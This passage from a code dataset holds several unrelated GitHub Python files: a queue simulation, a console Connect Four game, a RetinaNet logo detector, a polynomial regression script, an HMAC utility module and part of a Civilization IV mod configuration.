Tamaño de cola {experiment.queue_size}', '\\n')\n\n print(f'Promedio de clientes en sistema:\\t {str(experiment.avg_cust_system)}')\n print(f'Promedio de clientes en cola:\\t {str(experiment.avg_cust_queue)}')\n print(f'Tiempo promedio en sistema:\\t {str(experiment.avg_delay_system)}')\n print(f'Tiempo promedio en cola:\\t {str(experiment.avg_delay_queue)}')\n print(f'Utilizacion del servidor:\\t {str(experiment.server_usage)}')\n print(f'Probabilidad de denegacion de servicio:\\t {str(experiment.reject_prob)}')\n print(f'El experimento finalizo en aproximadamente {str(experiment.time)} unidades de tiempo')\n print('-----------------------------------------------','\\n')\n\n experiment.plot(cont)\n\n cont += 1","repo_name":"AngelSony/Simulacion","sub_path":"TP3_1_Modelo_Eventos_Discretos.py","file_name":"TP3_1_Modelo_Eventos_Discretos.py","file_ext":"py","file_size_in_byte":10334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20621677865","text":"ROW_NUMBER = 6\r\nCOLUMN_NUMBER = 7\r\nplayer = 1\r\ngame = True\r\ncurrField = [[\" \", \" \", \" \", \" \", \" \", \" \", \" \"],\r\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \"],\r\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \"],\r\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \"],\r\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \"],\r\n [\" \", \" \", \" \", \" \", \" \", \" \", \" \"]]\r\n\r\nrowSpotsCounter = [5, 5, 5, 5, 5, 5, 5]\r\n\r\n\r\ndef drawField(row, col, field):\r\n rows = int(row+(row-1)) # 6 + 5 = 11 = 0-10 indice\r\n columns = int(col+(col-1)) # 7+6 = 13 = 0-12 indice\r\n\r\n for row in range(rows):\r\n if row % 2 == 0: # if its a even row\r\n # converts the row to match the index in our matrix (had to be an integer)\r\n practicalRow = int(row/2)\r\n for column in range(columns):\r\n if column % 2 == 0:\r\n # converts the column to match the index in our matrix (it had to be an integer)\r\n practicalColumn = int(column/2)\r\n if column != columns-1:\r\n # will print the symbol of the matrix here, corresponding to the index of the board\r\n print(field[practicalRow][practicalColumn], end=\"\")\r\n else:\r\n # prints the last symbol of the row\r\n print(field[practicalRow][practicalColumn])\r\n else:\r\n print(\"|\", end=\"\")\r\n else:\r\n print(\"-\"*columns)\r\n\r\n\r\ndef checkWinner(field, rowCount, colCount, player):\r\n if player == 1:\r\n piece = \"X\"\r\n else:\r\n piece = \"O\"\r\n # Horizontal\r\n for row in range(rowCount):\r\n for col in range(colCount-3):\r\n if field[row][col] == piece and field[row][col+1] == piece and field[row][col+2] == piece and field[row][col+3] == piece:\r\n print(f\"The winner is Player {player}! Congrats!!\")\r\n return True\r\n # Vertical\r\n for row in range(rowCount-3):\r\n for col in range(colCount):\r\n if field[row][col] == piece and field[row+1][col] == piece and field[row+2][col] == piece and field[row+3][col] == piece:\r\n print(f\"The winner is Player {player}! Congrats!!\")\r\n return True\r\n # Diagonal 1\r\n for row in range(rowCount-3):\r\n for col in range(colCount-3):\r\n if field[row][col] == piece and field[row+1][col+1] == piece and field[row+2][col+2] == piece and field[row+3][col+3] == piece:\r\n print(f\"The winner is Player {player}! Congrats!!\")\r\n return True\r\n # Diagonal 2\r\n for row in range(3, rowCount):\r\n for col in range(colCount-3):\r\n if field[row][col] == piece and field[row-1][col+1] == piece and field[row-2][col+2] == piece and field[row-3][col+3] == piece:\r\n print(f\"The winner is Player {player}! Congrats!!\")\r\n return True\r\n return False\r\n\r\n\r\ndef gameMovement(column, player, rowCounter, field):\r\n if field[rowCounter[column]][column] == \" \" and player == 1:\r\n field[rowCounter[column]][column] = \"X\"\r\n if field[rowCounter[column]][column] == \" \" and player == 2:\r\n field[rowCounter[column]][column] = \"O\"\r\n rowCounter[column] -= 1\r\n\r\n\r\nwhile(game):\r\n print(f\"Player {player} Turn!\")\r\n moveCol = (int(input(\"Enter the column number (1-7): \"))-1)\r\n if player == 1:\r\n gameMovement(moveCol, player, rowSpotsCounter, currField)\r\n drawField(ROW_NUMBER, COLUMN_NUMBER, currField)\r\n winner = checkWinner(currField, ROW_NUMBER, COLUMN_NUMBER, player)\r\n print(rowSpotsCounter[moveCol])\r\n if winner is True:\r\n game = False\r\n player = 2\r\n else:\r\n gameMovement(moveCol, player, rowSpotsCounter, currField)\r\n drawField(ROW_NUMBER, COLUMN_NUMBER, currField)\r\n winner = checkWinner(currField, ROW_NUMBER, COLUMN_NUMBER, player)\r\n print(rowSpotsCounter[moveCol])\r\n if winner is True:\r\n game = False\r\n player = 1\r\n","repo_name":"peserra/pythonIsEasy_Course","sub_path":"connectFourGameProject/con4.py","file_name":"con4.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12253529021","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 14/11/2018\n\n@author: lucab\n\"\"\"\nfrom keras_retinanet.models.resnet import custom_objects\nfrom keras_retinanet.utils.image import preprocess_image\nfrom keras_retinanet.utils.image import read_image_bgr\nfrom keras_retinanet.utils.image import resize_image\nfrom keras.models import load_model\nimport numpy as np\nimport argparse\nimport cv2\n\n\ndef get_logo_detected():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-m\", \"--model\", required=True,\n help=\"path to pre-trained model\")\n ap.add_argument(\"-l\", \"--labels\", required=True,\n help=\"path to class labels\")\n ap.add_argument(\"-i\", \"--image\", required=True,\n help=\"path to input image\")\n ap.add_argument(\"-c\", \"--confidence\", type=float, default=0.5,\n help=\"minimum probability to filter weak detections\")\n args = vars(ap.parse_args())\n\n # load the class label mappings\n LABELS = open(args[\"labels\"]).read().strip().split(\"\\n\")\n LABELS = {int(L.split(\",\")[1]): L.split(\",\")[0] for L in LABELS}\n\n # load the model from disk\n model = load_model(args[\"model\"], custom_objects=custom_objects)\n\n # load the input image (in BGR order), clone it, and preprocess it\n image = read_image_bgr(args[\"image\"])\n output = image.copy()\n image = preprocess_image(image)\n (image, scale) = resize_image(image)\n image = np.expand_dims(image, axis=0)\n\n # detect objects in the input image and correct for the image scale\n (_, _, boxes, nmsClassification) = model.predict_on_batch(image)\n boxes /= scale\n\n # compute the predicted labels and probabilities\n predLabels = np.argmax(nmsClassification[0, :, :], axis=1)\n scores = nmsClassification[0,\n np.arange(0, nmsClassification.shape[1]), predLabels]\n\n # loop over the detections\n for (i, (label, score)) in enumerate(zip(predLabels, scores)):\n # filter out weak detections\n if score < args[\"confidence\"]:\n continue\n\n # grab the bounding box for the detection\n box = boxes[0, i, :].astype(\"int\")\n\n # build the label and draw the label + bounding box on the output\n # image\n label = \"{}: {:.2f}\".format(LABELS[label], score)\n cv2.rectangle(output, (box[0], box[1]), (box[2], box[3]),\n (0, 255, 0), 2)\n cv2.putText(output, label, (box[0], box[1] - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\n\n # show the output image\n cv2.imshow(\"Output\", output)\n cv2.waitKey(0)\n\n\nif __name__ == \"__main__\":\n get_logo_detected()\n","repo_name":"lucabizza/computervision","sub_path":"retinanet_logo.py","file_name":"retinanet_logo.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"40605636670","text":"# Polynomial Regression\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Position_Salaries.csv')\nX = dataset.iloc[:, 1:2].values\nY = dataset.iloc[:, 2].values\n\n# Splitting into training and testing datasets is not needed here as there is not\n# enough information with only ten columns\n\n# Linear Regression as example to compare to\nfrom sklearn.linear_model import LinearRegression\nlin_reg = LinearRegression()\nlin_reg.fit(X,Y)\n\n# Polynomial Regression model\nfrom sklearn.preprocessing import PolynomialFeatures\npoly_reg = PolynomialFeatures(degree = 6)\nX_poly = poly_reg.fit_transform(X)\n\n# Create the new linear regression using the new fit\nlin_reg2 = LinearRegression()\nlin_reg2.fit(X_poly, Y)\n\n# Visualize the first linear regression\nplt.scatter(X, Y, color = 'red')\nplt.plot(X, lin_reg.predict(X), color = 'blue')\nplt.title('Linear Regression on Polynomial DS')\nplt.xlabel('Position Level')\nplt.ylabel('Position Salary')\nplt.show()\n\n# Visualize the PLR\nX_grid = np.arange(min(X), max(X), 0.1) \nX_grid = X_grid.reshape(len(X_grid),1)\n\nplt.scatter(X, Y, color = 'red')\nplt.plot(X_grid, lin_reg2.predict(poly_reg.fit_transform(X_grid)), color = 'blue')\nplt.title('Polynomial Linear Regression on Polynomial DS')\nplt.xlabel('Position Level')\nplt.ylabel('Position Salary')\nplt.show()\n\n# Predicting a salary with the Linear Regression\npred_salary = lin_reg.predict([[6.5]])\n\n# Predicitng a salary with the PLR\npred_salary_PLR = lin_reg2.predict(poly_reg.fit_transform([[6.5]])) \n","repo_name":"evantimms/data-science-tools","sub_path":"regression/Polynomial_Regression/polynomial_regression.py","file_name":"polynomial_regression.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44083179979","text":"import os\nimport re\n\n\n_hmac_url_re = re.compile(r'^(.*#)?hmac-(?P[a-z0-9-]+)$')\n\n\ndef _get_hash_obj(algorithm, *args):\n \"\"\"Return an instantiated hash object.\"\"\"\n import hashlib\n from pskc.algorithms import normalise_algorithm\n from pskc.exceptions import DecryptionError\n match = _hmac_url_re.search(normalise_algorithm(algorithm) or '')\n if match:\n try:\n return hashlib.new(match.group('hash'), *args)\n except ValueError:\n pass\n raise DecryptionError('Unsupported MAC algorithm: %r' % algorithm)\n\n\ndef mac(algorithm, key, value):\n \"\"\"Generate the MAC value over the specified value.\"\"\"\n import hmac\n return hmac.new(\n key, value,\n lambda *args: _get_hash_obj(algorithm, *args)).digest()\n\n\ndef mac_key_length(algorithm):\n \"\"\"Recommended minimal key length in bytes for the set algorithm.\"\"\"\n # https://tools.ietf.org/html/rfc2104#section-3\n # an HMAC key should be at least as long as the hash output length\n from pskc.exceptions import DecryptionError\n try:\n return int(_get_hash_obj(algorithm).digest_size)\n except DecryptionError:\n return 16 # fallback value\n\n\nclass MAC(object):\n \"\"\"Class describing the MAC algorithm to use and how to get the key.\n\n Instances of this class provide the following attributes:\n\n algorithm: the name of the HMAC to use (currently only HMAC_SHA1)\n key: the binary value of the MAC key if it can be decrypted\n \"\"\"\n\n def __init__(self, pskc):\n self.pskc = pskc\n self._algorithm = None\n\n @property\n def key(self):\n \"\"\"Provide access to the MAC key binary value if available.\"\"\"\n value = getattr(self, '_key', None)\n if hasattr(value, 'get_value'):\n return value.get_value(self.pskc)\n elif value:\n return value\n else:\n # fall back to encryption key\n return self.pskc.encryption.key\n\n @key.setter\n def key(self, value):\n self._key = value\n\n @property\n def algorithm(self):\n \"\"\"Provide the MAC algorithm used.\"\"\"\n if self._algorithm:\n return self._algorithm\n\n @algorithm.setter\n def algorithm(self, value):\n from pskc.algorithms import normalise_algorithm\n self._algorithm = normalise_algorithm(value)\n\n @property\n def algorithm_key_length(self):\n \"\"\"Recommended minimal key length in bytes for the set algorithm.\"\"\"\n return mac_key_length(self.algorithm)\n\n def generate_mac(self, value):\n \"\"\"Generate the MAC over the specified value.\"\"\"\n return mac(self.algorithm, self.key, value)\n\n def setup(self, key=None, algorithm=None):\n \"\"\"Configure an encrypted MAC key.\n\n The following arguments may be supplied:\n key: the MAC key to use\n algorithm: MAC algorithm\n\n None of the arguments are required, reasonable defaults will be\n chosen for missing arguments.\n \"\"\"\n if key:\n self.key = key\n if algorithm:\n self.algorithm = algorithm\n # default to HMAC-SHA1\n if not self.algorithm:\n self.algorithm = 'hmac-sha1'\n # generate an HMAC key\n if not self.key:\n self.key = os.urandom(self.algorithm_key_length)\n","repo_name":"arthurdejong/python-pskc","sub_path":"pskc/mac.py","file_name":"mac.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"16279891522","text":"from CvPythonExtensions import *\r\nimport BugPath\r\nimport CivilWar\r\nimport HR_Cities\r\nimport HR_Organizations\r\nimport HR_Religion\r\n\r\ngc = CyGlobalContext()\r\n\r\n\r\n\r\n### Globals\r\n\r\nPlayerData = ['CIVICS',\r\n\t\t\t\t'TENETS',\r\n\t\t\t\t'STATE_RELIGION',\r\n\t\t\t\t'FAITH',\r\n\t\t\t\t'REFORMATION_TIMER',\r\n\t\t\t\t'ANARCHY_IMMUNITY',\r\n\t\t\t\t'SHARES',\r\n\t\t\t\t'TRADES']\r\n\r\nCityData = \t ['CITY_ID',\r\n\t\t\t\t'GREAT_PEOPLE_PROGRESS',\r\n\t\t\t\t'DISSENT',\r\n\t\t\t\t'CULTURE_LEVEL',\r\n\t\t\t\t'CORPORATE_HAPPINESS',\r\n\t\t\t\t'CORPORATE_HEALTH',\r\n\t\t\t\t'CORPORATE_YIELD',\r\n\t\t\t\t'STARVATION']\r\n\r\nMission = \t {'MISSION_HUMANITARIAN'\t\t\t:\t910,\r\n\t\t\t\t'MISSION_FOUND_RELIGION'\t\t:\t940,\r\n\t\t\t\t'MISSION_REFORMATION'\t\t\t:\t941,\r\n\t\t\t\t'MISSION_REFORMATION_RESOLVE'\t:\t942,\r\n\t\t\t\t'MISSION_REPENTANCE'\t\t\t:\t943,\r\n\t\t\t\t'MISSION_GREAT_TEMPLE'\t\t\t:\t944,\r\n\t\t\t\t'MISSION_INQUISITION'\t\t\t:\t990}\r\n\r\nInterface =\t {'CHANGE_COMMERCE_PERCENT'\t\t:\t1200,\r\n\t\t\t\t'CHANGE_SPECIALIST'\t\t\t\t:\t1201,\r\n\t\t\t\t'BUY_SHARE'\t\t\t\t\t\t:\t1202,\r\n\t\t\t\t'SELL_SHARE'\t\t\t\t\t:\t1203,\r\n\t\t\t\t'CANCEL_TRADE'\t\t\t\t\t:\t1204}\r\n\r\n\r\n\r\nCivic\t\t= 0\r\nImprovement\t= 0\r\nTrait\t\t= 0\r\nUnit\t\t= 0\r\n\r\niUnitCaptureChance\t\t= 20\r\niUnitEnslaveChance\t\t= 20\r\n\r\nGreatPeople = []\r\nGreatSpecialist = []\r\nPowerPriority = []\r\n\r\nWorldWonderLimits = (0, 0, 1, 2, 4, 6, 8)\r\n\r\n\r\n\r\n### Classes\r\n\r\ndef init():\r\n\t'Initializes expanded options'\r\n\tglobal Civic\r\n\tglobal Trait\r\n\tglobal Unit\r\n\tglobal Building\r\n\tglobal Improvement\r\n\tglobal GreatPeople\r\n\tglobal GreatSpecialist\r\n\tglobal PowerPriority\r\n\r\n\tCivic = ExpandedCivicOptions()\r\n\tTrait = ExpandedTraitOptions()\r\n\tUnit = ExpandedUnitOptions()\r\n\tBuilding = ExpandedBuildingOptions()\r\n\tImprovement = ExpandedImprovementOptions()\r\n\r\n\tGreatPeople \t = [gc.getInfoTypeForString('UNIT_ARTIST'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_DOCTOR'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_ENGINEER'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_MERCHANT'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_SCIENTIST'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_SPY_GREAT')]\r\n\r\n\tGreatSpecialist = [gc.getInfoTypeForString('SPECIALIST_GREAT_ARTIST'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_DOCTOR'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_ENGINEER'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_MERCHANT'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_SCIENTIST'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_SPY'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_PRIEST'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('SPECIALIST_GREAT_GENERAL')]\r\n\r\n\tPowerPriority\t = [gc.getInfoTypeForString('BUILDING_COAL_PLANT'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('BUILDING_GAS_PLANT'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('BUILDING_NUCLEAR_PLANT'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('BUILDING_HYDRO_PLANT'),\r\n\t\t\t\t\t\tgc.getInfoTypeForString('BUILDING_SOLAR_PLANT')]\r\n\r\n\r\n\r\nclass ExpandedCivicOptions:\r\n\tdef __init__(self):\r\n\t\tself.ChoppingModifier\t\t\t\t\t= gc.getInfoTypeForString('NO_CIVIC'), 50\r\n\t\tself.CombatVictoryWealth\t\t\t\t= gc.getInfoTypeForString('NO_CIVIC')\r\n\t\tself.CorporationHappiness\t\t\t\t= gc.getInfoTypeForString('CIVIC_SOCIAL_WELFARE')\r\n\t\tself.CorporationHealth\t\t\t\t\t= gc.getInfoTypeForString('CIVIC_SUSTAINABILITY')\r\n\t\tself.ImprovedPlunder\t\t\t\t\t= gc.getInfoTypeForString('CIVIC_TRIBALISM')\r\n\t\tself.ImprovedPillaging\t\t\t\t\t= gc.getInfoTypeForString('CIVIC_TRIBALISM')\r\n\t\tself.NoEthnicDissent\t\t\t\t\t= gc.getInfoTypeForString('CIVIC_MULTICULTURALISM')\r\n\t\tself.NoTradeRouteCulture\t\t\t\t= gc.getInfoTypeForString('CIVIC_NATIONALISM')\r\n\r\n\t\tself.CorporationAppeal = [\t\t\t\t(gc.getInfoTypeForString('CIVIC_AGRARIANISM'), gc.getInfoTypeForString('YIELD_FOOD'), 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('CIVIC_INDUSTRIALISM'), gc.getInfoTypeForString('YIELD_PRODUCTION'), 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('CIVIC_FREE_MARKET'), gc.getInfoTypeForString('YIELD_COMMERCE'), 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('CIVIC_RETRIBUTION'), 3, -50)]\r\n\r\n\t\tself.ExtraPalaceYield = [\t\t\t\t(gc.getInfoTypeForString('NO_CIVIC'), gc.getInfoTypeForString('YIELD_COMMERCE'), 3)]\r\n\r\n\t\tself.FakeWonder = [\t\t\t\t\t\t(gc.getInfoTypeForString('CIVIC_TRIBALISM'), gc.getInfoTypeForString('BUILDING_CIVIC_DEFENSE'))]\r\n\r\n\r\n\r\nclass ExpandedTraitOptions:\r\n\tdef __init__(self):\r\n\t\tself.AttitudeChange =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_DIPLOMATIC'), 2\r\n\t\tself.CapitalBuildingModifier =\t\t\tgc.getInfoTypeForString('TRAIT_TRADITIONAL'), -25\r\n\t\tself.CaptureResearch =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_IMPERIALIST')\r\n\t\tself.CivicDissentModifier =\t\t\t\tgc.getInfoTypeForString('TRAIT_HUMANE'), -50\r\n\t\tself.CorporationExtraShare =\t\t\tgc.getInfoTypeForString('TRAIT_FINANCIAL'), 25\r\n\t\tself.ExtraCargoSpace =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_ENTERPRISING')\r\n\t\tself.ExtraPopulation =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_EXPANSIVE'), 0 # this was also OP\r\n\t\tself.ExtraRoadSpeed =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_EXPANSIVE') # new ability improved road speed\r\n\t\tself.ExtraExperience =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_CHARISMATIC'), 1\r\n\t\tself.GreatTempleGoldenAge = \t\t\tgc.getInfoTypeForString('TRAIT_SPIRITUAL'), 100\r\n\t\tself.ImprovedPlunder =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_AGGRESSIVE')\r\n\t\tself.ImprovedPillaging =\t\t\t\tgc.getInfoTypeForString('TRAIT_AGGRESSIVE')\r\n\t\tself.ImprovementUpgradeModifier =\t\tgc.getInfoTypeForString('TRAIT_PROGRESSIVE'), -50\r\n\t\tself.MilitaryUnitUpgradeDiscount =\t\tgc.getInfoTypeForString('TRAIT_TACTICAL'), -100\r\n\t\tself.NoResistance =\t\t\t\t\t\tgc.getInfoTypeForString('TRAIT_IMPERIALIST')\r\n\t\tself.PillageImmunity =\t\t\t\t\tgc.getInfoTypeForString('TRAIT_DEFENSIVE') # this ability is now used for partisans\r\n\t\tself.SpreadStateReligion = \t\t\t\tgc.getInfoTypeForString('TRAIT_SPIRITUAL')\r\n\t\tself.TradeRoutes =\t\t\t\t\t\tgc.getInfoTypeForString('TRAIT_DIPLOMATIC'), 1\r\n\r\n\t\tself.AlwaysBuildCommerce = {\t\t\tgc.getInfoTypeForString('PROCESS_WEALTH'): \t\t\tgc.getInfoTypeForString('TRAIT_FINANCIAL'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('PROCESS_RESEARCH'): \t\tgc.getInfoTypeForString('TRAIT_PHILOSOPHICAL'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('PROCESS_CULTURE'): \t\tgc.getInfoTypeForString('TRAIT_TRADITIONAL')}\r\n\r\n# removing yields from culture because they are op\r\n\t\tself.CultureLevelYield = {\t\t\t\tgc.getInfoTypeForString('YIELD_PRODUCTION'):\t\t(gc.getInfoTypeForString('TRAIT_INDUSTRIOUS'), 0),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('YIELD_COMMERCE'):\t\t\t(gc.getInfoTypeForString('TRAIT_CREATIVE'), 0)}\r\n\r\n\t\tself.FreeBuildingClass = {\t\t\t\tgc.getInfoTypeForString('TRAIT_DEFENSIVE'):\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_WALLS'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('TRAIT_MARTIAL'):\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_BARRACKS'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('TRAIT_INDUSTRIOUS'):\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_TANNERY'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('TRAIT_CREATIVE'):\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_KILN')}\r\n\r\n\t\tself.GreatPersonTypeModifier = {\t\tgc.getInfoTypeForString('UNIT_ARTIST'): \t\t\t(gc.getInfoTypeForString('TRAIT_CREATIVE'),\t\t 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_DOCTOR'):\t\t\t\t(gc.getInfoTypeForString('TRAIT_HUMANE'),\t\t 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_ENGINEER'): \t\t\t(gc.getInfoTypeForString('TRAIT_INDUSTRIOUS'),\t 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_MERCHANT'): \t\t\t(gc.getInfoTypeForString('TRAIT_ENTERPRISING'),\t 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_PROPHET'): \t\t\t(gc.getInfoTypeForString('TRAIT_SPIRITUAL'),\t 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_SCIENTIST'):\t\t\t(gc.getInfoTypeForString('TRAIT_PROGRESSIVE'),\t 50),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('UNIT_SPY_GREAT'):\t\t\t(gc.getInfoTypeForString('TRAIT_DIPLOMATIC'),\t 50)}\r\n\r\n\t\tself.FakeWonder = [\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_CHARISMATIC'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_CHARISMATIC')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_FINANCIAL'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_FINANCIAL')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_IMPERIALIST'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_IMPERIALIST')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_JUDICIAL'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_JUDICIAL')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_MARTIAL'), \t\t\tgc.getInfoTypeForString('BUILDING_TRAIT_MARTIAL')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_ORGANIZED'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_ORGANIZED')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_PHILOSOPHICAL'), \tgc.getInfoTypeForString('BUILDING_TRAIT_PHILOSOPHICAL')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_POLITICAL'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_POLITICAL')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('TRAIT_PROGRESSIVE'), \t\tgc.getInfoTypeForString('BUILDING_TRAIT_PROGRESSIVE'))]\r\n\r\n\r\n\r\nclass ExpandedUnitOptions:\r\n\tdef __init__(self):\t\t\t\t\t\t\t# Use for Unique Units only\r\n\t\tself.Capture \t\t\t\t\t\t\t= [gc.getInfoTypeForString('UNIT_CORSAIR')]\r\n\t\tself.Enslave \t\t\t\t\t\t\t= [gc.getInfoTypeForString('UNIT_EAGLE_WARRIOR'), gc.getInfoTypeForString('UNIT_BANDEIRANTE')]\r\n\t\tself.Fire\t\t \t\t\t\t\t\t= [(gc.getInfoTypeForString('UNIT_FLAMETHROWER'), 5, 15, 5)]\r\n\t\tself.Incapacitate \t\t\t\t\t\t= [(gc.getInfoTypeForString('UNIT_BLOWGUNNER'), 2, 2)]\r\n\r\n\t\tself.ColonistFreeBuildingClass = [\t\tgc.getInfoTypeForString('BUILDINGCLASS_BARRACKS'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_GRANARY'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_KILN'),\r\n\t\t\t\t\t\t\t\t\t\t\t\tgc.getInfoTypeForString('BUILDINGCLASS_TANNERY')]\r\n\r\n\r\n\r\nclass ExpandedBuildingOptions:\r\n\tdef __init__(self):\r\n\t\tself.AllowFixedTenets\t\t\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_SHWEDAGON_PAYA')\r\n\t\tself.AttitudeChange\t\t\t\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_TAJ_MAHAL'), 1\r\n\t\tself.FreeGreatGeneral\t\t\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_BRANDENBURG_GATE')\r\n\t\tself.GoldenAgeGPPModifier \t\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_NATIONAL_FESTIVAL'), 100\r\n\t\tself.HuntingModifier \t\t\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_NATURAL_WONDER_NGORONGORO'), 100\r\n\t\tself.RandomGreatPerson\t\t\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_NAZCA_LINES')\r\n\t\tself.ReligionSharedGoldenAge\t\t\t= gc.getInfoTypeForString('BUILDINGCLASS_CRISTO_REDENTOR'), 50\r\n\t\tself.WonderYield\t\t\t\t\t\t= [(gc.getInfoTypeForString('BUILDINGCLASS_HOTEL'), YieldTypes.YIELD_COMMERCE, 2)]\r\n\r\n\r\n\r\nclass ExpandedImprovementOptions:\r\n\tdef __init__(self):\r\n\t\tself.Polluting = [\t\t\t\t\t\t(gc.getInfoTypeForString('IMPROVEMENT_MINE'), gc.getInfoTypeForString('BUILDINGCLASS_RECYCLING_CENTER')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('IMPROVEMENT_WELL'), -1),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('IMPROVEMENT_OFFSHORE_PLATFORM'), -1),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('IMPROVEMENT_WORKSHOP'), gc.getInfoTypeForString('BUILDINGCLASS_RECYCLING_CENTER')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('IMPROVEMENT_VILLAGE'), gc.getInfoTypeForString('BUILDINGCLASS_PUBLIC_TRANSPORTATION')),\r\n\t\t\t\t\t\t\t\t\t\t\t\t(gc.getInfoTypeForString('IMPROVEMENT_TOWN'), gc.getInfoTypeForString('BUILDINGCLASS_PUBLIC_TRANSPORTATION'))]\r\n\r\n\r\n\r\n### SCRIPT DATA\r\n\r\ndef initPlayerData(pPlayer):\r\n\t'Initializes the scriptdata of a player'\r\n\tCivicList = []\r\n\tTenetList = []\r\n\r\n\tfor iCategory in xrange(gc.getNumCivicOptionInfos()):\r\n\t\tif HR_Religion.Tenets().isTenetCategory(iCategory):\r\n\t\t\tiTenet = pPlayer.getCivics(iCategory)\r\n\t\t\tif iTenet == -1:\r\n\t\t\t\tiTenet = 